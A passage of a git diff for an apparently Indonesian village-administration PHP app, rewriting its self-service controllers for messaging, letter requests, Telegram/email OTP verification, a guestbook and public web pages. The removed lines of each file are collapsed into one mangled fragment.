+ redirect('layanan-mandiri/pesan-masuk');
+ }
+
+ public function baca($kat = 2, $id = '')
+ {
+ $nik = $this->is_login->nik;
+ if ($kat == 2) {
+ $this->mailbox_model->ubah_status_pesan($nik, $id, 1);
+ }
+
+ $pesan = $this->mailbox_model->get_pesan($nik, $id) ?? show_404();
+ $data = [
+ 'kat' => $kat,
+ 'owner' => ($kat == 2) ? 'Penerima' : 'Pengirim',
+ 'tujuan' => ($kat == 2) ? 'pesan-masuk' : 'pesan-keluar',
+ 'pesan' => $pesan,
+ 'permohonan' => $this->permohonan_surat_model->get_permohonan(['id' => $pesan['permohonan']]),
+ ];
+
+ $this->render('baca_pesan', $data);
+ }
+
+ public function tulis($kat = 2)
+ {
+ $data = [
+ 'tujuan' => ($kat == 2) ? 'pesan-masuk' : 'pesan-keluar',
+ 'kat' => $kat,
+ 'subjek' => $this->input->post('subjek'),
+ ];
+
+ $this->render('tulis_pesan', $data);
+ }
+}
diff --git a/donjo-app/controllers/fmandiri/Surat.php b/donjo-app/controllers/fmandiri/Surat.php
index b34420079..797057283 100644
--- a/donjo-app/controllers/fmandiri/Surat.php
+++ b/donjo-app/controllers/fmandiri/Surat.php
@@ -1,529 +1,335 @@
-load->model(['keluar_model', 'permohonan_surat_model', 'surat_model', 'surat_master_model', 'lapor_model', 'penduduk_model']);
+ }
+
+ // Kat 1 = Permohonan
+ // Kat 2 = Arsip
+ public function index($kat = 1)
+ {
+ $arsip = $this->keluar_model->list_data_perorangan($this->is_login->id_pend);
+ $permohonan = $this->permohonan_surat_model->list_permohonan_perorangan($this->is_login->id_pend, 1);
+
+ $data = [
+ 'kat' => $kat,
+ 'judul' => ($kat == 1) ? 'Permohonan Surat' : 'Arsip Surat',
+ 'main' => ($kat == 1) ? $permohonan : $arsip,
+ 'printer' => $this->print_connector(),
+ ];
+
+ $this->render('surat', $data);
+ }
+
+ public function buat($id = '')
+ {
+ $id_pend = $this->is_login->id_pend;
+
+ // Cek hanya status = 0 (belum lengkap) yg boleh di ubah
+ if ($id) {
+ $permohonan = $this->permohonan_surat_model->get_permohonan(['id' => $id, 'id_pemohon' => $id_pend, 'status' => 0]);
+
+ if (! $permohonan) {
+ redirect('layanan-mandiri/surat/buat');
+ }
+
+ $form_action = site_url("layanan-mandiri/surat/form/{$permohonan['id']}");
+ } else {
+ $form_action = site_url('layanan-mandiri/surat/form');
+ }
+
+ $data = [
+ 'menu_surat_mandiri' => $this->surat_model->list_surat_mandiri(),
+ 'menu_dokumen_mandiri' => $this->lapor_model->get_surat_ref_all(),
+ 'list_dokumen' => $this->penduduk_model->list_dokumen($id_pend),
+ 'kk' => ($this->is_login->kk_level === '1') ? $this->keluarga_model->list_anggota($this->is_login->id_kk) : '', // Ambil data anggota KK, jika Kepala Keluarga
+ 'permohonan' => $permohonan,
+ 'form_action' => $form_action,
+ ];
+
+ $this->render('buat_surat', $data);
+ }
+
+ public function cek_syarat()
+ {
+ $id_permohonan = $this->input->post('id_permohonan');
+ $id_surat = $this->input->post('id_surat');
+
+ $syarat_permohonan = PermohonanSurat::select(['syarat'])->find($id_permohonan);
+ $suratMaster = FormatSurat::select(['syarat_surat'])->find($id_surat);
+ $syaratSurat = SyaratSurat::get();
+ $dokumen = $this->penduduk_model->list_dokumen($this->is_login->id_pend);
+
+ $data = [];
+ $no = $_POST['start'];
+
+ if ($syaratSurat) {
+ $no = 1;
+
+ foreach ($syaratSurat as $baris) {
+ if (in_array($baris->ref_syarat_id, json_decode($suratMaster->syarat_surat))) {
+ $row = [];
+ $row[] = $no++;
+ $row[] = $baris->ref_syarat_nama;
+ // Gunakan view sebagai string untuk mempermudah pembuatan pilihan
+ $pilihan_dokumen = $this->load->view(MANDIRI . '/pilihan_syarat', ['dokumen' => $dokumen, 'syarat_permohonan' => json_decode($syarat_permohonan, true), 'syarat_id' => $baris->ref_syarat_id, 'cek_anjungan' => $this->cek_anjungan], true);
+ $row[] = $pilihan_dokumen;
+ $data[] = $row;
+ }
+ }
+ }
+
+ return json([
+ 'recordsTotal' => 10,
+ 'recordsFiltered' => 10,
+ 'data' => $data,
+ ]);
+ }
+
+ // Proses permohonan surat
+ public function form($id = '')
+ {
+ $id_pend = $this->is_login->id_pend;
+
+ // Simpan data dari buat surat
+ $post = $this->input->post();
+ $post = ($post) ?: $this->session->data_permohonan;
+ $this->session->data_permohonan = $post;
+
+ // Cek hanya status = 0 (belum lengkap) yg boleh di ubah
+ if ($id) {
+ $permohonan = $this->permohonan_surat_model->get_permohonan(['id' => $id, 'id_pemohon' => $id_pend, 'status' => 0]);
+
+ if (! $permohonan || ! $post) {
+ redirect('layanan-mandiri/surat/buat');
+ }
+
+ $data['permohonan'] = $permohonan;
+ $data['isian_form'] = json_encode($this->permohonan_surat_model->ambil_isi_form($permohonan['isian_form']));
+ $data['id_surat'] = $permohonan['id_surat'];
+ } else {
+ if (! $post) {
+ redirect('layanan-mandiri/surat/buat');
+ }
+ $data['permohonan'] = null;
+ $data['isian_form'] = null;
+ $data['id_surat'] = $post['id_surat'];
+ }
+
+ $surat = $this->surat_model->cek_surat_mandiri($data['id_surat']);
+ $url = $surat['url_surat'];
+
+ $data['url'] = $url;
+ $data['individu'] = $this->surat_model->get_penduduk($id_pend);
+ $data['anggota'] = $this->keluarga_model->list_anggota($data['individu']['id_kk']);
+ $this->get_data_untuk_form($url, $data);
+ $data['surat_url'] = rtrim($_SERVER['REQUEST_URI'], '/clear');
+ $data['form_action'] = site_url("surat/cetak/{$url}");
+ $data['cek_anjungan'] = $this->cek_anjungan;
+ $data['mandiri'] = 1; // Untuk tombol cetak/kirim surat
+
+ if (in_array($data['surat']['jenis'], FormatSurat::TINYMCE)) {
+ return $this->render('permohonan_surat_tinymce', $data);
+ }
+
+ return $this->render('permohonan_surat', $data);
+ }
+
+ public function kirim($id = '')
+ {
+ $this->load->library('Telegram/telegram');
+
+ $data_permohonan = $this->session->data_permohonan;
+
+ $post = $this->input->post();
+ $data = [
+ 'id_pemohon' => $post['nik'],
+ 'id_surat' => $post['id_surat'],
+ 'isian_form' => json_encode($post),
+ 'status' => 1, // Selalu 1 bagi penggun layanan mandiri
+ 'keterangan' => $data_permohonan['keterangan'],
+ 'no_hp_aktif' => $data_permohonan['no_hp_aktif'],
+ 'syarat' => json_encode($data_permohonan['syarat']),
+ ];
+
+ if ($id) {
+ $data['updated_at'] = date('Y-m-d H:i:s');
+ $this->permohonan_surat_model->update($id, $data);
+ } else {
+ $this->permohonan_surat_model->insert($data);
+
+ if (! empty($this->setting->telegram_token) && cek_koneksi_internet()) {
+ try {
+ // Data pesan telegram yang akan digantikan
+ $pesanTelegram = [
+ '[nama_penduduk]' => $this->is_login->nama,
+ '[judul_surat]' => FormatSurat::find($post['id_surat'])->nama,
+ '[tanggal]' => tgl_indo2(date('Y-m-d H:i:s')),
+ '[melalui]' => 'Layanan Mandiri',
+ ];
+
+ $kirimPesan = setting('notifikasi_pengajuan_surat');
+ $kirimPesan = str_replace(array_keys($pesanTelegram), array_values($pesanTelegram), $kirimPesan);
+ $this->telegram->sendMessage([
+ 'text' => $kirimPesan,
+ 'parse_mode' => 'Markdown',
+ 'chat_id' => $this->setting->telegram_user_id,
+ ]);
+ } catch (Exception $e) {
+ log_message('error', $e->getMessage());
+ }
+ }
+ }
+
+ $this->session->unset_userdata('data_permohonan');
+
+ redirect('layanan-mandiri/permohonan-surat');
+ }
+
+ private function get_data_untuk_form($url, &$data)
+ {
+ // RTF
+ if (in_array($data['surat']['jenis'], FormatSurat::RTF)) {
+ $data['config'] = $data['lokasi'] = $this->header;
+ $data['perempuan'] = $this->surat_model->list_penduduk_perempuan();
+ }
+
+ // Panggil 1 penduduk berdasarkan datanya sendiri
+ $data['penduduk'] = [$data['periksa']['penduduk']];
+
+ $data['surat_terakhir'] = $this->surat_model->get_last_nosurat_log($url);
+ $data['surat'] = FormatSurat::where('url_surat', $url)->first();
+ $data['input'] = $this->input->post();
+ $data['input']['nomor'] = $data['surat_terakhir']['no_surat_berikutnya'];
+ $data['format_nomor_surat'] = $this->penomoran_surat_model->format_penomoran_surat($data);
+
+ $data_form = $this->surat_model->get_data_form($url);
+ if (is_file($data_form)) {
+ include $data_form;
+ }
+ }
+
+ public function proses($id = '')
+ {
+ $this->permohonan_surat_model->proses($id, 5, $this->is_login->id_pend);
+
+ redirect('layanan-mandiri/permohonan-surat');
+ }
+
+ public function cetak_no_antrian(string $no_antrian)
+ {
+ try {
+ $connector = new NetworkPrintConnector($this->cek_anjungan['printer_ip'], $this->cek_anjungan['printer_port'], 5);
+ $printer = new Printer($connector);
+
+ $printer->initialize();
+ $printer->setJustification(Printer::JUSTIFY_CENTER);
+ $printer->setTextSize(2, 2);
+ $printer->setEmphasis(true);
+ $printer->text('ANJUNGAN MANDIRI');
+ $printer->setEmphasis(false);
+ $printer->feed(1);
+
+ $printer->setTextSize(1, 1);
+ $printer->text("SELAMAT DATANG \n");
+ $printer->text('NOMOR ANTREAN ANDA');
+ $printer->feed();
+
+ $printer->setTextSize(4, 4);
+ $printer->text(get_antrian($no_antrian));
+ $printer->feed();
+
+ $printer->setTextSize(1, 1);
+ $printer->text("TERIMA KASIH \n");
+ $printer->text('ANDA TELAH MENUNGGU');
+ $printer->feed();
+
+ $printer->cut();
+ } catch (Exception $e) {
+ log_message('error', $e->getMessage());
+
+ redirect($_SERVER['HTTP_REFERER']);
+ } finally {
+ $printer->close();
+ }
+
+ redirect($_SERVER['HTTP_REFERER']);
+ }
+
+ protected function print_connector()
+ {
+ if (null === ($anjungan = $this->cek_anjungan)) {
+ return;
+ }
+
+ try {
+ $connector = new NetworkPrintConnector($anjungan['printer_ip'], $anjungan['printer_port'], 5);
+ } catch (Exception $e) {
+ log_message('error', $e->getMessage());
+
+ return false;
+ }
+
+ return $connector;
+ }
+
+ public function cetak($id)
+ {
+ $surat = LogSurat::find($id);
+
+ // Cek ada file
+ if (file_exists(FCPATH . LOKASI_ARSIP . $surat->nama_surat)) {
+ return ambilBerkas($surat->nama_surat, $this->controller, null, LOKASI_ARSIP, true);
+ }
+ echo 'Berkas tidak ditemukan';
+ }
+}
diff --git a/donjo-app/controllers/fmandiri/Verifikasi.php b/donjo-app/controllers/fmandiri/Verifikasi.php
index c7ff59f75..476d79f3a 100644
--- a/donjo-app/controllers/fmandiri/Verifikasi.php
+++ b/donjo-app/controllers/fmandiri/Verifikasi.php
@@ -1,569 +1,306 @@
-load->library('OTP/OTP_manager', null, 'otp_library');
+ }
+
+ public function index()
+ {
+ $data = [
+ 'tgl_verifikasi_telegram' => $this->otp_library->driver('telegram')->cek_verifikasi_otp($this->is_login->id_pend),
+ 'tgl_verifikasi_email' => $this->otp_library->driver('email')->cek_verifikasi_otp($this->is_login->id_pend),
+ 'form_kirim_userid' => site_url('layanan-mandiri/verifikasi/telegram/kirim-userid'),
+ 'form_kirim_email' => site_url('layanan-mandiri/verifikasi/email/kirim-email'),
+ ];
+
+ if ($data['tgl_verifikasi_telegram']) {
+ $this->session->set_flashdata('sudah-diverifikasi', '#langkah-4');
+ }
+
+ if ($data['tgl_verifikasi_email']) {
+ $this->session->set_flashdata('sudah-diverifikasi-email', '#langkah-4');
+ }
+
+ if ($data['tgl_verifikasi_telegram'] && $data['tgl_verifikasi_email']) {
+ $this->session->set_flashdata('sudah-verifikasi-semua', 1);
+ }
+
+ $this->session->set_flashdata('tab-aktif', [
+ 'status' => 0,
+ ]);
+
+ $this->render('verifikasi', $data);
+ }
+
+ /**
+ * Verifikasi Telegram
+ */
+ public function telegram()
+ {
+ $data = [
+ 'tgl_verifikasi_telegram' => $this->otp_library->driver('telegram')->cek_verifikasi_otp($this->is_login->id_pend),
+ 'tgl_verifikasi_email' => $this->otp_library->driver('email')->cek_verifikasi_otp($this->is_login->id_pend),
+ 'form_kirim_userid' => site_url('layanan-mandiri/verifikasi/telegram/kirim-userid'),
+ 'form_kirim_otp' => site_url('layanan-mandiri/verifikasi/telegram/kirim-otp'),
+ ];
+
+ if ($data['tgl_verifikasi_telegram']) {
+ $this->session->set_flashdata('sudah-diverifikasi', '#langkah4');
+ }
+
+ if ($data['tgl_verifikasi_email']) {
+ $this->session->set_flashdata('sudah-diverifikasi-email', '#langkah4');
+ }
+
+ $this->session->set_flashdata('tab-aktif', [
+ 'status' => 0,
+ ]);
+
+ $this->render('verifikasi', $data);
+ }
+
+ /**
+ * Langkah 2 Verifikasi Telegram
+ */
+ public function kirim_otp_telegram()
+ {
+ $post = $this->input->post();
+ $userID = $post['telegram_userID'];
+ $token = hash('sha256', $raw_token = mt_rand(100000, 999999));
+ $id_pend = $this->session->is_login->id_pend;
+
+ $this->db->trans_begin();
+
+ if ($this->otp_library->driver('telegram')->cek_akun_terdaftar(['telegram' => $userID, 'id' => $id_pend])) {
+ try {
+ // TODO: OpenKab - Perlu disesuaikan ulang setelah semua modul selesai
+ $this->db->where('id', $id_pend)->update('tweb_penduduk', [
+ 'telegram' => $userID,
+ 'telegram_token' => $token,
+ 'telegram_tgl_kadaluarsa' => date('Y-m-d H:i:s', strtotime(date('Y-m-d H:i:s') . ' +5 minutes')),
+ ]);
+
+ $this->otp_library->driver('telegram')->kirim_otp($userID, $raw_token);
+
+ $this->db->trans_commit();
+ } catch (\Exception $e) {
+ log_message('error', $e);
+
+ $this->session->set_flashdata('notif_verifikasi', [
+ 'status' => -1,
+ 'pesan' => 'Tidak berhasil mengirim OTP, silahkan mencoba kembali.',
+ ]);
+
+ $this->db->trans_rollback();
+
+ redirect('layanan-mandiri/verifikasi/telegram/#langkah-2');
+ }
+
+ $this->session->set_flashdata('notif_verifikasi', [
+ 'status' => 1,
+ 'pesan' => 'OTP telegram anda berhasil terkirim, silahkan cek telegram anda!',
+ ]);
+
+ $this->session->set_flashdata('kirim-otp-telegram', '#langkah3');
+
+ redirect('layanan-mandiri/verifikasi/telegram/#langkah-3');
+ } else {
+ $this->session->set_flashdata('notif_verifikasi', [
+ 'status' => -1,
+ 'pesan' => 'Akun Telegram yang Anda Masukkan tidak valid, Silahkan ulangi lagi.',
+ ]);
+ redirect('layanan-mandiri/verifikasi/telegram/#langkah-2');
+ }
+ }
+
+ /**
+ * Langkah 3 Verifikasi Telegram
+ */
+ public function verifikasi_telegram()
+ {
+ $post = $this->input->post();
+ $otp = $post['token_telegram'];
+ $user = $this->session->is_login->id_pend;
+ $nama = $this->session->is_login->nama;
+ // TODO: OpenKab - Perlu disesuaikan ulang setelah semua modul selesai
+ $telegramID = $this->db->where('id', $user)->get('tweb_penduduk')->row()->telegram;
+
+ if ($this->otp_library->driver('telegram')->verifikasi_otp($otp, $user)) {
+ $this->session->set_flashdata('notif_verifikasi', [
+ 'status' => 1,
+ 'pesan' => 'Selamat, akun telegram anda berhasil terverifikasi.',
+ ]);
+
+ try {
+ $this->otp_library->driver('telegram')->verifikasi_berhasil($telegramID, $nama);
+ } catch (\Exception $e) {
+ log_message('error', $e);
+ }
+
+ redirect('layanan-mandiri/verifikasi/telegram/#langkah-4');
+ }
+
+ $this->session->set_flashdata('notif_verifikasi', [
+ 'status' => -1,
+ 'pesan' => 'Tidak berhasil memverifikasi, Token tidak sesuai atau waktu Anda habis, silahkan mencoba kembali.',
+ ]);
+
+ redirect('layanan-mandiri/verifikasi/telegram/#langkah-2');
+ }
+
+ /**
+ * Verifikasi Email
+ */
+ public function email()
+ {
+ $data = [
+ 'tgl_verifikasi_telegram' => $this->otp_library->driver('telegram')->cek_verifikasi_otp($this->is_login->id_pend),
+ 'tgl_verifikasi_email' => $this->otp_library->driver('email')->cek_verifikasi_otp($this->is_login->id_pend),
+ 'form_kirim_email' => site_url('layanan-mandiri/verifikasi/email/kirim-email'),
+ 'form_kirim_otp_email' => site_url('layanan-mandiri/verifikasi/email/kirim-otp'),
+ ];
+
+ if ($data['tgl_verifikasi_telegram']) {
+ $this->session->set_flashdata('sudah-diverifikasi', '#langkah4');
+ }
+
+ if ($data['tgl_verifikasi_email']) {
+ $this->session->set_flashdata('sudah-diverifikasi-email', '#langkah4');
+ }
+
+ $this->session->set_flashdata('tab-aktif', [
+ 'status' => 1,
+ ]);
+ $this->render('verifikasi', $data);
+ }
+
+ /**
+ * Langkah 2 Verifikasi Email
+ */
+ public function kirim_otp_email()
+ {
+ $post = $this->input->post();
+ $email = $post['alamat_email'];
+ $token = hash('sha256', $raw_token = mt_rand(100000, 999999));
+ $id_pend = $this->session->is_login->id_pend;
+
+ $this->db->trans_begin();
+
+ if ($this->otp_library->driver('email')->cek_akun_terdaftar(['email' => $email, 'id' => $id_pend])) {
+ try {
+ // TODO: OpenKab - Perlu disesuaikan ulang setelah semua modul selesai
+ $this->db->where('id', $id_pend)->update('tweb_penduduk', [
+ 'email' => $email,
+ 'email_token' => $token,
+ 'email_tgl_kadaluarsa' => date('Y-m-d H:i:s', strtotime(date('Y-m-d H:i:s') . ' +5 minutes')),
+ ]);
+
+ $this->otp_library->driver('email')->kirim_otp($email, $raw_token);
+
+ $this->db->trans_commit();
+ } catch (\Exception $e) {
+ log_message('error', $e);
+
+ $this->session->set_flashdata('notif_verifikasi', [
+ 'status' => -1,
+ 'pesan' => 'Tidak berhasil mengirim OTP, silahkan mencoba kembali.',
+ ]);
+
+ $this->db->trans_rollback();
+
+ redirect('layanan-mandiri/verifikasi/email/#langkah-2');
+ }
+
+ $this->session->set_flashdata('notif_verifikasi', [
+ 'status' => 1,
+ 'pesan' => 'OTP email anda berhasil terkirim, silahkan cek email anda!',
+ ]);
+
+ $this->session->set_flashdata('kirim-otp-email', '#langkah3');
+
+ redirect('layanan-mandiri/verifikasi/email/#langkah-3');
+ } else {
+ $this->session->set_flashdata('notif_verifikasi', [
+ 'status' => -1,
+ 'pesan' => 'Akun Email yang Anda Masukkan tidak valid, Silahkan ulangi lagi.',
+ ]);
+ redirect('layanan-mandiri/verifikasi/email/#langkah-2');
+ }
+ }
+
+ /**
+ * Langkah 3 Verifikasi Email
+ */
+ public function verifikasi_email()
+ {
+ $post = $this->input->post();
+ $otp = $post['token_email'];
+ $user = $this->session->is_login->id_pend;
+ $nama = $this->session->is_login->nama;
+ // TODO: OpenKab - Perlu disesuaikan ulang setelah semua modul selesai
+ $email = $this->db->where('id', $user)->get('tweb_penduduk')->row()->email;
+
+ if ($this->otp_library->driver('email')->verifikasi_otp($otp, $user)) {
+ $this->session->set_flashdata('notif_verifikasi', [
+ 'status' => 1,
+ 'pesan' => 'Selamat, alamat email anda berhasil terverifikasi.',
+ ]);
+
+ try {
+ $this->otp_library->driver('email')->verifikasi_berhasil($email, $nama);
+ } catch (\Exception $e) {
+ log_message('error', $e);
+ }
+
+ redirect('layanan-mandiri/verifikasi/email/#langkah-4');
+ }
+
+ $this->session->set_flashdata('notif_verifikasi', [
+ 'status' => -1,
+ 'pesan' => 'Tidak berhasil memverifikasi, Token tidak sesuai atau waktu Anda habis, silahkan mencoba kembali.',
+ ]);
+
+ redirect('layanan-mandiri/verifikasi/email/#langkah-2');
+ }
+}
diff --git a/donjo-app/controllers/fweb/Buku_tamu.php b/donjo-app/controllers/fweb/Buku_tamu.php
index 5c39eae87..129c1025c 100644
--- a/donjo-app/controllers/fweb/Buku_tamu.php
+++ b/donjo-app/controllers/fweb/Buku_tamu.php
@@ -1,529 +1,195 @@
-setting->layanan_mandiri == 0) {
+ show_404();
+ }
+
+ if (null === $this->cek_anjungan) {
+ show_404();
+ }
+ }
+
+ public function index()
+ {
+ return view('buku_tamu.registrasi', [
+ 'aksi' => route('buku-tamu.registrasi'),
+ 'bertemu' => RefJabatan::pluck('nama', 'id'),
+ 'keperluan' => BukuKeperluan::whereStatus(StatusEnum::YA)->pluck('keperluan', 'id'),
+ 'kamera' => $this->setting->buku_tamu_kamera,
+ ]);
+ }
+
+ public function registrasi()
+ {
+ if ($this->input->post()) {
+ $post = $this->validate($this->request);
+
+ // Identifikasi registrasi yang sama
+ // Cek nama, telepon dan jenis kelamin pada hari yang sama
+ $cek_registrasi = BukuTamu::whereNama($post['nama'])
+ ->whereTelepon($post['telepon'])
+ ->whereJenisKelamin($post['jenis_kelamin'])
+ ->whereDate('created_at', Carbon::now()->format('Y-m-d'))
+ ->first();
+
+ if ($cek_registrasi) {
+ set_session('error', 'Registrasi Gagal Disimpan
Anda Sudah Melakukan Registrasi Hari Ini');
+ } else {
+ if (BukuTamu::create($post)) {
+ set_session('success', 'Registrasi Berhasil Disimpan');
+ } else {
+ set_session('error', 'Registrasi Gagal Disimpan');
+ }
+ }
+ } else {
+ set_session('error', 'Akses Tidak Tersedia');
+ }
+
+ redirect('buku-tamu/kepuasan');
+ }
+
+ public function kepuasan($id = null)
+ {
+ // Jangan tampilkan kalau belum ada daftar pertanyaan
+ $data['ada_pertanyaan'] = BukuPertanyaan::whereStatus(StatusEnum::YA)->exists();
+
+ if ($data['ada_pertanyaan']) {
+ if ($id) {
+ $data['pertanyaan'] = $this->cek_pertanyaan($id);
+ $data['id'] = $id;
+ $view = 'buku_tamu.pertanyaan';
+ } else {
+ // Tamu yang belum isi indeks kepuasan
+ $kepuasan = BukuKepuasan::whereDate('created_at', Carbon::today())->pluck('id_nama');
+ $data['tamu_hari_ini'] = BukuTamu::whereNotIn('id', $kepuasan)->whereDate('created_at', Carbon::today())->latest()->get();
+ $view = 'buku_tamu.kepuasan';
+ }
+ } else {
+ $data['tamu_hari_ini'] = null;
+ $view = 'buku_tamu.kepuasan';
+ }
+
+ return view($view, $data);
+ }
+
+ public function jawaban($id = null, $jawaban = null)
+ {
+ $tamu = BukuTamu::find($id);
+
+ if (! $tamu || ! in_array($jawaban, JawabanKepuasanEnum::keys())) {
+ set_session('error', 'Jawaban Gagal Disimpan');
+ } else {
+ $cek_pertanyaan = BukuKepuasan::whereIdNama($id)->pluck('id_pertanyaan');
+ $pertanyaan = BukuPertanyaan::whereNotIn('id', $cek_pertanyaan)->whereStatus(StatusEnum::YA)->first();
+ BukuKepuasan::create([
+ 'id_nama' => $tamu->id,
+ 'id_pertanyaan' => $pertanyaan->id,
+ 'pertanyaan_statis' => $pertanyaan->pertanyaan,
+ 'id_jawaban' => $jawaban,
+ ]);
+
+ // jika masih ada pertanyaan
+ if ($this->cek_pertanyaan($id)) {
+ set_session('success', 'Jawaban Berhasil Disimpan
Ke Pertanyaan Selanjutnya');
+
+ redirect('buku-tamu/kepuasan/' . $id);
+ }
+ }
+
+ redirect('buku-tamu/kepuasan/' . $id);
+ }
+
+ private function cek_pertanyaan($id = null)
+ {
+ $sudah_ada = BukuKepuasan::whereIdNama($id)->pluck('id_pertanyaan');
+ $pertanyaan = BukuPertanyaan::whereNotIn('id', $sudah_ada)->whereStatus(StatusEnum::YA)->first();
+
+ if (! $pertanyaan) {
+ set_session('success', 'TERIMA KASIH
Anda Telah Membantu Kami Untuk Melayani Lebih Baik Lagi.');
+ redirect('buku-tamu');
+ }
+
+ return $pertanyaan;
+ }
+
+ private function validate($request = [])
+ {
+ return [
+ 'nama' => htmlentities($request['nama']),
+ 'telepon' => htmlentities($request['telepon']),
+ 'instansi' => htmlentities($request['instansi']),
+ 'jenis_kelamin' => bilangan($request['jenis_kelamin']),
+ 'alamat' => htmlentities($request['alamat']),
+ 'bidang' => bilangan($request['id_bidang']),
+ 'keperluan' => bilangan($request['id_keperluan']),
+ 'foto' => $this->foto($request['foto']),
+ ];
+ }
+
+ private function foto($base64 = null)
+ {
+ $nama_file = null;
+
+ if ($base64) {
+ $nama_file = time() . mt_rand(10000, 999999) . '.jpg';
+ $base64 = str_replace('data:image/png;base64,', '', $base64);
+ $base64 = base64_decode($base64, true);
+
+ file_put_contents(FCPATH . LOKASI_FOTO_BUKU_TAMU . $nama_file, $base64);
+ }
+
+ return $nama_file;
+ }
+}
diff --git a/donjo-app/controllers/fweb/Galeri.php b/donjo-app/controllers/fweb/Galeri.php
index 528fc5521..13d7460bc 100644
--- a/donjo-app/controllers/fweb/Galeri.php
+++ b/donjo-app/controllers/fweb/Galeri.php
@@ -1,505 +1,85 @@
-load->model('first_gallery_m');
+ if (! $this->web_menu_model->menu_aktif('galeri')) {
+ show_404();
+ }
+ }
+
+ public function index($p = 1)
+ {
+ $data = $this->includes;
+ $data['p'] = $p;
+ $data['paging'] = $this->first_gallery_m->paging($p);
+ $data['paging_range'] = 3;
+ $data['start_paging'] = max($data['paging']->start_link, $p - $data['paging_range']);
+ $data['end_paging'] = min($data['paging']->end_link, $p + $data['paging_range']);
+ $data['pages'] = range($data['start_paging'], $data['end_paging']);
+ $data['gallery'] = $this->first_gallery_m->gallery_show($data['paging']->offset, $data['paging']->per_page);
+ $data['paging_page'] = 'galeri/index';
+
+ $this->_get_common_data($data);
+ $this->set_template('layouts/gallery.tpl.php');
+ $this->load->view($this->template, $data);
+ }
+
+ public function detail($parent = 0, $p = 1)
+ {
+ $data = $this->includes;
+ $data['p'] = $p;
+ $data['paging'] = $this->first_gallery_m->paging2($parent, $p);
+ $data['paging_range'] = 3;
+ $data['start_paging'] = max($data['paging']->start_link, $p - $data['paging_range']);
+ $data['end_paging'] = min($data['paging']->end_link, $p + $data['paging_range']);
+ $data['pages'] = range($data['start_paging'], $data['end_paging']);
+ $data['gallery'] = $this->first_gallery_m->sub_gallery_show($parent, $data['paging']->offset, $data['paging']->per_page);
+ $data['parent'] = $this->first_gallery_m->get_parent($parent);
+ $data['paging_page'] = "galeri/{$parent}/index";
+
+ $this->_get_common_data($data);
+ $this->set_template('layouts/sub_gallery.tpl.php');
+ $this->load->view($this->template, $data);
+ }
+}
diff --git a/donjo-app/controllers/fweb/Idm.php b/donjo-app/controllers/fweb/Idm.php
index 06c3b086e..0404ebd20 100644
--- a/donjo-app/controllers/fweb/Idm.php
+++ b/donjo-app/controllers/fweb/Idm.php
@@ -1,481 +1,64 @@
-load->library('data_publik');
+ }
+
+ public function index($tahun = null)
+ {
+ if (! $this->web_menu_model->menu_aktif('status-idm/' . $tahun) || null === $tahun) {
+ show_404();
+ }
+
+ $data = $this->includes;
+ $this->_get_common_data($data);
+
+ $data['idm'] = idm($data['desa']['kode_desa'], $tahun);
+ $data['halaman_statis'] = 'idm/index';
+
+ $this->_get_common_data($data);
+ $this->set_template('layouts/halaman_statis_lebar.tpl.php');
+ $this->load->view($this->template, $data);
+ }
+}
diff --git a/donjo-app/controllers/fweb/Kelompok.php b/donjo-app/controllers/fweb/Kelompok.php
index 70e2cf4e9..99dbbb805 100644
--- a/donjo-app/controllers/fweb/Kelompok.php
+++ b/donjo-app/controllers/fweb/Kelompok.php
@@ -1,521 +1,77 @@
-load->model('kelompok_model');
+ $this->kelompok_model->set_tipe($this->tipe);
+ }
+
+ public function detail($slug = null)
+ {
+ $id = KelompokModel::tipe()->where('slug', $slug)->first()->id;
+
+ if (! $this->web_menu_model->menu_aktif("data-kelompok/{$id}")) {
+ show_404();
+ }
+
+ $data = $this->includes;
+
+ $data['detail'] = $this->kelompok_model->get_kelompok($id);
+ $data['title'] = 'Data Kelompok ' . $data['detail']['nama'];
+ $data['anggota'] = $this->kelompok_model->list_anggota(0, 0, 500, $id, 'anggota');
+ $data['pengurus'] = $this->kelompok_model->list_pengurus($id);
+
+ // Jika kelompok tdk tersedia / sudah terhapus pd modul kelompok
+ if ($data['detail'] == null) {
+ show_404();
+ }
+
+ $this->_get_common_data($data);
+ $this->set_template('layouts/kelompok.tpl.php');
+ $this->load->view($this->template, $data);
+ }
+}
diff --git a/donjo-app/controllers/fweb/Lapak.php b/donjo-app/controllers/fweb/Lapak.php
index b8190936d..ae42df629 100644
--- a/donjo-app/controllers/fweb/Lapak.php
+++ b/donjo-app/controllers/fweb/Lapak.php
@@ -1,497 +1,89 @@
-load->model('lapak_model');
+ }
+
+ public function index($p = 1)
+ {
+ if (! $this->web_menu_model->menu_aktif('lapak')) {
+ show_404();
+ }
+
+ if ($this->setting->tampilkan_lapak_web == 0) {
+ show_404();
+ }
+
+ $data = $this->includes;
+ $this->_get_common_data($data);
+
+ $data['id_kategori'] = $this->input->get('id_kategori', true);
+ $data['keyword'] = $this->input->get('keyword', true);
+
+ // TODO : Sederhanakan bagian panging dengan suffix
+ $data['paging'] = $this->lapak_model->paging_produk($p, $data['keyword'], $data['id_kategori']);
+ $data['paging_page'] = 'lapak';
+ $data['paging_range'] = 3;
+ $data['start_paging'] = max($data['paging']->start_link, $p - $data['paging_range']);
+ $data['end_paging'] = min($data['paging']->end_link, $p + $data['paging_range']);
+ $data['pages'] = range($data['start_paging'], $data['end_paging']);
+
+ if ($data['keyword']) {
+ $data['produk'] = $this->lapak_model->get_produk($data['keyword'], 1);
+ } else {
+ $data['produk'] = $this->lapak_model->get_produk('', 1);
+ }
+
+ if ($data['id_kategori'] != '') {
+ $data['produk'] = $data['produk']->where('id_produk_kategori', $data['id_kategori']);
+ }
+
+ $data['produk'] = $data['produk']->limit($data['paging']->per_page, $data['keyword'] ? 0 : $data['paging']->offset)->get()->result();
+ $data['kategori'] = $this->lapak_model->get_kategori()->get()->result();
+ $data['halaman_statis'] = 'lapak/index';
+
+ $this->set_template('layouts/halaman_statis_lebar.tpl.php');
+ $this->load->view($this->template, $data);
+ }
+}
diff --git a/donjo-app/controllers/fweb/Lembaga.php b/donjo-app/controllers/fweb/Lembaga.php
index cc439cc16..ea50c38e2 100644
--- a/donjo-app/controllers/fweb/Lembaga.php
+++ b/donjo-app/controllers/fweb/Lembaga.php
@@ -1,513 +1,77 @@
-load->model('kelompok_model');
+ $this->kelompok_model->set_tipe($this->tipe);
+ }
+
+ public function detail($slug = null)
+ {
+ $id = LembagaModel::tipe($this->tipe)->where('slug', $slug)->first()->id;
+
+ if (! $this->web_menu_model->menu_aktif("data-lembaga/{$id}")) {
+ show_404();
+ }
+
+ $data = $this->includes;
+
